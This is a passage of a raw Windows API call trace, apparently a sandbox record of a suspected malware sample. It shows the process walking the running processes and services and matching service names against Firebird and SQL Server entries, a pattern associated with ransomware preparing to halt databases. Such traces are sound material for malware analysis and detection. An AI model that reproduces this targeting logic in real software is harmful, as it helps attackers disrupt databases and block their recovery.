(lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0293.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0293.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0293.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0293.499] lstrlenW (lpString="Themes") returned 6 [0293.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0293.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0293.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0293.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0293.499] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0293.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0293.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0293.499] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0293.499] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d01528 | out: hHeap=0x700000) returned 1 [0293.499] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0293.503] Process32FirstW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.503] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0293.504] lstrlenW (lpString="System") returned 6 [0293.504] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0293.505] lstrlenW (lpString="smss.exe") returned 8 [0293.505] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.505] lstrlenW (lpString="csrss.exe") returned 9 [0293.505] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0293.506] lstrlenW (lpString="wininit.exe") returned 11 [0293.506] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.976] lstrlenW (lpString="csrss.exe") returned 9 [0293.976] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0293.977] lstrlenW (lpString="winlogon.exe") returned 12 [0293.977] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0293.977] lstrlenW (lpString="services.exe") returned 12 [0293.978] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0293.978] lstrlenW (lpString="lsass.exe") returned 9 [0293.978] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.085] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.085] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.085] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.086] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.086] lstrlenW (lpString="svchost.exe") returned 11 [0294.086] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.087] lstrlenW (lpString="svchost.exe") returned 11 [0294.087] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.089] lstrlenW (lpString="dwm.exe") returned 7 [0294.089] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.089] lstrlenW (lpString="svchost.exe") returned 11 [0294.089] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.090] lstrlenW (lpString="svchost.exe") returned 11 [0294.090] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.091] lstrlenW (lpString="svchost.exe") returned 11 [0294.091] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.092] lstrlenW (lpString="svchost.exe") returned 11 [0294.092] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.092] lstrlenW (lpString="svchost.exe") returned 11 [0294.092] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.093] lstrlenW (lpString="svchost.exe") returned 11 [0294.093] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.094] lstrlenW (lpString="svchost.exe") returned 11 [0294.094] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.095] lstrlenW (lpString="svchost.exe") returned 11 [0294.095] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.096] lstrlenW (lpString="svchost.exe") returned 11 [0294.096] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.097] lstrlenW (lpString="svchost.exe") returned 11 [0294.097] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.097] lstrlenW (lpString="spoolsv.exe") returned 11 [0294.097] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.098] lstrlenW (lpString="svchost.exe") returned 11 [0294.098] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.099] lstrlenW (lpString="audiodg.exe") returned 11 [0294.099] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0294.100] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0294.100] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0294.101] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0294.101] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0294.102] lstrlenW (lpString="Memory Compression") returned 18 [0294.102] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.103] lstrlenW (lpString="svchost.exe") returned 11 [0294.103] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.104] lstrlenW (lpString="sihost.exe") returned 10 [0294.104] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0294.105] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0294.105] lstrlenW (lpString="msoia.exe") returned 9 [0294.105] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.106] lstrlenW (lpString="explorer.exe") returned 12 [0294.106] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.107] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0294.107] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.108] lstrlenW (lpString="SearchUI.exe") returned 12 [0294.108] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.108] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0294.109] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.109] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0294.109] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0294.110] lstrlenW (lpString="chrome64b.exe") returned 13 [0294.110] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0294.111] lstrlenW (lpString="dllhost.exe") returned 11 [0294.111] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0294.111] lstrlenW (lpString="chrome64b.exe") returned 13 [0294.111] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0294.112] lstrlenW (lpString="cmd.exe") returned 7 [0294.112] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0294.113] lstrlenW (lpString="conhost.exe") returned 11 [0294.113] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0294.114] CloseHandle (hObject=0x360) returned 1 [0294.114] Sleep (dwMilliseconds=0x1f4) [0295.150] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75a378 [0295.151] EnumServicesStatusExW (in: hSCManager=0x75a378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0295.151] GetLastError () returned 0xea [0295.152] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d0b560 [0295.152] EnumServicesStatusExW (in: hSCManager=0x75a378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0b560, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0b560, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0295.153] CloseServiceHandle (hSCObject=0x75a378) returned 1 [0295.153] lstrlenW (lpString="Appinfo") returned 7 [0295.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0295.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0295.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0295.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0295.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0295.153] lstrlenW (lpString="AppXSvc") returned 7 [0295.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0295.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0295.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0295.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0295.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0295.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0295.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.154] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0295.154] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0295.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0295.154] lstrlenW (lpString="Audiosrv") returned 8 [0295.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0295.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0295.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0295.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0295.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0295.154] lstrlenW (lpString="BFE") returned 3 [0295.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0295.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0295.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0295.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0295.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0295.154] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0295.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0295.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0295.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0295.154] lstrlenW (lpString="CDPSvc") returned 6 [0295.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0295.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0295.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0295.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0295.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0295.155] lstrlenW (lpString="ClickToRunSvc") returned 13 [0295.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0295.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0295.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0295.155] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0295.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0295.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0295.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0295.155] lstrlenW (lpString="CryptSvc") returned 8 [0295.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0295.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0295.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0295.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0295.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0295.155] lstrlenW (lpString="DcomLaunch") returned 10 [0295.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0295.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0295.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0295.155] lstrlenW (lpString="DeviceAssociationService") returned 24 [0295.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0295.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0295.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0295.156] lstrlenW (lpString="Dhcp") returned 4 [0295.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0295.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0295.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0295.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0295.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0295.156] lstrlenW (lpString="Dnscache") returned 8 [0295.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0295.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0295.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0295.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0295.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0295.156] lstrlenW (lpString="DPS") returned 3 [0295.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0295.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0295.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0295.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0295.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0295.156] lstrlenW (lpString="DusmSvc") returned 7 